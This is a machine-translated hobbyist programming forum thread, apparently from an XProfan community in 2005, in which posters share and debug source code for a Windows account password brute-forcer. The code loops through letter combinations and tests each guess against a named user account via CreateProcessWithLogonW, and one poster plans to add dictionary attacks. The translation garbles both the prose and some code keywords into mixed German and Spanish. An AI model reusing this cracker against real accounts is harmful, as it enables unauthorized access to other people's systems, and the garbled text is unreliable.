Español
Stammtisch & Café

MASM32 y Profano

 
- Página 1 -


Ha alguien algo genauere Daten en wieviel MASM32 más rápido es como Profano? Sombrero el veces alguien getestet?
 
28.01.2005  
 



 
- Página 2 -


¡Hola Franco...

Besten Dank, daß du dir el código ya veces angesehen hast. Como Yo me wirlich algunos Anfängerschnitzer instalado.
- Einen Variablennamen falso geschrieben,
- una überflüssige Addition drin,
- XP Neuerungen no bedacht,
- Variable no correcto gelöscht

Yo voluntad veces hoffen, daß el Message para el Buttonabfrage bajo XP se no geändert ha (lo son en cada Fall Werte dazugekommen) - sonst nimm a Not en Profano @GETFOCUS. Yo hätte me eigentlich denken puede, daß el así no klappt => euer Problema con el ToolTipps bajo XP.

El Fehlermeldung en CreateProcessWithLogonW war algo komplizierter. Wenn uno no cada vez vorher dien Inhalt el zwei letzten Parámetro löscht, kann lo vorkommen (je después de el, qué sonst todavía Texto en el Code es), daß esta Variables con Sinnlosem Code gefüllt voluntad. Sie necesario deshalb cada vez antes el Aufruf el Función en Null gesetzt voluntad (stand auch ya en el Ver código fuente).

Yo voluntad veces hoffen el lo ahora en dir funktioniert y yo no todavía mehr Mist instalado habe:
El Procedimiento PWCHECK se en el DLL

Proc PWCHECK

    Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
    1.Parámetro=a startendes Programa
    2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
    3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
    4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
    5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
    6.Parámetro=Contraseña, si ya bekannt
    7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
    8.Parámetro=Anzahl el durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declarar lpStartupinfo#,lpProcessInformation#
    Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declarar Anfangszeichen#,Signo#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Signo#,300
    En el LSA besonders wichtig - todos Variables con Null füllen
    Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
    @Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Cuerdas voluntad en Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Signo#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
    @Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    LET StartZeit$=@TIME$(0) Kann evtl. weg
    LET STARTDATUM$=@DATE$(0) Kann evtl. weg
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Yo wandele hier el Cuerdas en Unicode Cuerdas en
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Largo lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0) Streichen
        Vierzig Buchstaben reicht

        IF COUNT%>Buchstabenanzahl&

            LET ENDE%=1

        endif

        Wenn en el Ventana principal Abbruch gedrückt wurde se final voluntad

        IF @sendmessage(Button&,$00F2,0,0)=108

            Messagebox wäre schön, muß aber no ser
            LET PANTWORT%=@MESSAGEBOX("Test befindet se en el Augenblick en "+@STRING$(pw#,0)+".
            Test wurde al "+STARTDATUM$+" en "+StartZeit$+" comenzó.","Wollen Sie el Test wirklich abbrechen?",292)
            CASE PANTWORT%=6 : LET ENDE%=1

        ENDIF

        SET("FastMode",1)
        Alle möglichen Bustabenkombinationen debería durchgegangen voluntad

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            más

                LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

                WEND

            más

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        Yo brauche otra vez una Unicode String
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        El Función son sólo 1 zurück, si el Contraseña correcto war
        SET("FastMode",0)
        @Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
        @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Largo lpStartupInfo#,0=68
        LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput

WEND

Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0

Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto.
 
30.01.2005  
 




Frank
Abbing
Hi,

[quote:806como4d370]Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto.[/quote:806como4d370]
Sí, verstanden.

Su Progrämmchen findet después de como antes nichts. Der Abbruch-Button ha auch no Wirkung.
Hab momentan no viel Tiempo, pero yo mach el Assemblersuchen fertig, si otra vez va.
 
30.01.2005  
 



¡Hola Franco...

Usted mußt deinen Accountnamen eingeben, no el Namen, el dir WindowsXP anzeigt. Schau veces en el Ordner Dokunente y Einstellungen después de el hay vorhandenen Verzeichnisnamen, el son el bajo anderem el Accountnamen. Außerdem Tuve todavía una falschen Parámetro en MultiByteToWideChar drin. El 2 muß weg y una 0 rein (Yo ändere lo oben).
Hier veces todavía qué con Anzeigeoption:
El Procedimiento PWCHECK se en el DLL

Proc PWCHECK

    Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
    1.Parámetro=a startendes Programa
    2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
    3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
    4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
    5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
    6.Parámetro=Contraseña, si ya bekannt
    7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
    8.Parámetro=Anzahl el durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declarar lpStartupinfo#,lpProcessInformation#
    Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declarar Anfangszeichen#,Signo#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Signo#,300
    En el LSA besonders wichtig - todos Variables con Null füllen
    Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
    @Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Cuerdas voluntad en Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Signo#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
    @Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Yo wandele hier el Cuerdas en Unicode Cuerdas en
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Largo lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0)

        IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)

            LET ENDE%=1

        ENDIF

        SET("FastMode",1)

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            más

                LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)

                WEND

            más

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
        @Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Largo lpStartupInfo#,0=68
        LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput
    Case %MENUITEM=-2 : FIN

WEND

Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Localizar 20,0
Imprimir "Funktion wurde al "+@Date$(1)+" en "+@TIME$(0)+" Uhr comenzó..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText $(Ba&),@GetText $(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
 
30.01.2005  
 



Ach sí...

BUTTON :roll:

Dazu veces una Test:
cls
Declarar Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)

Mientras que 0=0

    Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+"                          "
    sleep 10

wend


El Message Fragt el Status des Buttons de. Folgende Werte son ellos en me zurück:
- Button no gedrückt=0
- Mauscursor liegt en Button=keine Änderung
- Button gedrückt=108
- Foco liegt en Button=8
- Foco liegt no en Button=0

Yo habe el Verdacht el XProfan con Manifest hier otro y todavía mehr Werte zurückgiebt. Wenn sí, dürfte el auch el Grund para el Tooltipp Problema bajo XP ser...
 
30.01.2005  
 




Frank
Abbing
Hi,

Aber el Tooltippgeschichte se doch de Windows verwaltet...
 
30.01.2005  
 



[quote:c026f5de54]
Aber el Tooltippgeschichte se doch de Windows verwaltet...
[/quote:c026f5de54]
Der Status des Buttons doch auch, oder? Yo gehe veces bastante stark su de, daß el Status des Buttons, si él todavía no gedrückt wurde y Mauscursor en ihm ruht no 512 es - es el correcto?
Exactamente como liegt wohl el problema con el Tooltipps - Yo kanns por desgracia, no testen, pero yo denke Yo tener bastante.

PS: Entfern el Manifest y mein Ver código fuente se ejecuta.
 
30.01.2005  
 




Frank
Abbing
Hi,

Usted irrst dich. Er es entonces 512. Como ya geschrieben
Hab el MASM-Code fertig y poste ihn igual.
 
30.01.2005  
 




Frank
Abbing
Hi,

así, hier el Testprogramm. Passwörter necesario Großbuchstaben ser. El Veces para Errechnen decken se con el Werten de el Webpage, el IF hier Nuevo hatte, para 26él Passwörter.

Der Assemblercode es todavía no optimiert y benutzt para Vergleich el Cuerdas el API lstrcmp(), el aber muy rápidamente arbeitet.

2 kB
Hochgeladen:30.01.2005
Ladeanzahl158
Descargar
 
30.01.2005  
 



 
- Página 3 -



Rolf
Koch
Hi AH,

[quote:2bf116be6f]
Entfern el Manifest y mein Ver código fuente se ejecuta
[/quote:2bf116be6f]
Um Gottes Willen - weist Usted eigentlich como schäbig el alte Design de Windows aussieht, si uno de Win 9x en XP umgestiegen es.
In media Augen Es el Manifest eins el wichtigen Dinge el Windows Neuerungen.

Yo lach mich tot, si yo heute el globigen viereckigen langweiligen Buttons sehe. Gibt designtechnisch nix schlimmeres.

Aufm MAC war el vorher ya schöner. Flach y Hovermässig. Frisch como hier el Comunidad.

Rolf
 
30.01.2005  
 



Hallöchen Rolf...

Yo denke veces, uno debería se zumindestens muy genau así auseinandersetzen qué como genau verbogen se - y cómo hier sieht scheinen el bastante grundlegende Sachen a ser...
 
30.01.2005  
 




Rolf
Koch
...
como Me estoy dando Usted natürlich absolut Recht, AH.
Yo habe lo sí sólo de Sicht des Designs y no de Sicht des Ablaufs gesehen.
Ist sólo Schade, daß el Manifest auch otro Messages auslöst.

Rolf
 
30.01.2005  
 



¡Hola Franco...

Besten Dank para deine Test DLL. Das war genau el, Yo sólo una vez gebraucht habe. Man podría also a para fünften Buchstaben una MASM DLL ir y danach el Contraseña con Wörtern de una Wörterbuch beschießen. Yo habe ahora algo länger Fortbildung y Nachtschicht, danach voluntad Yo mich a una Programa begeben, el me automáticamente Wörter para dieses Wörterbuch sammelt.

@Rolf: Was nützt el schönste Design si Buttons, Tooltipps y Groupboxes no mehr trabajo porque el Rückgaben de Messages simplemente movido voluntad?
 
31.01.2005  
 




Respuesta


Título del Tema, max. 100 Signo.
 

Systemprofile:

Kein Systemprofil creado. [anlegen]

XProfan:

 Contribución  Font  Smilies  ▼ 

Bitte registro en una Contribución a verfassen.
 

Tema opciones

25.717 Views

Untitledvor 0 min.

Themeninformationen



Admins  |  AGB  |  Applications  |  Autores  |  Chat  |  Política de Privacidad  |  Descargar  |  Entrance  |  Ayuda  |  Merchantportal  |  Pie de imprenta  |  Mart  |  Interfaces  |  SDK  |  Services  |  Juegos  |  Búsqueda  |  Support

Ein Projekt aller XProfan, el lo son!


Mi XProfan
Privado Noticias
Eigenes Ablageforum
Temas-Merkliste
Eigene Beiträge
Eigene Temas
Zwischenablage
Cancelar
 Deutsch English Français Español Italia
Traducciones

Política de Privacidad


Wir uso Cookies sólo como Session-Cookies wegen el technischen Notwendigkeit y en uns hay no Cookies de Drittanbietern.

Wenn du hier en unsere Webseite klickst oder navigierst, stimmst du unserer Erfassung de Informationen en unseren Cookies en XProfan.Net a.

Weitere Informationen a unseren Cookies y dazu, como du el Kontrolle darüber behältst, findest du en unserer nachfolgenden Datenschutzerklärung.


einverstandenDatenschutzerklärung
Yo möchte no Cookie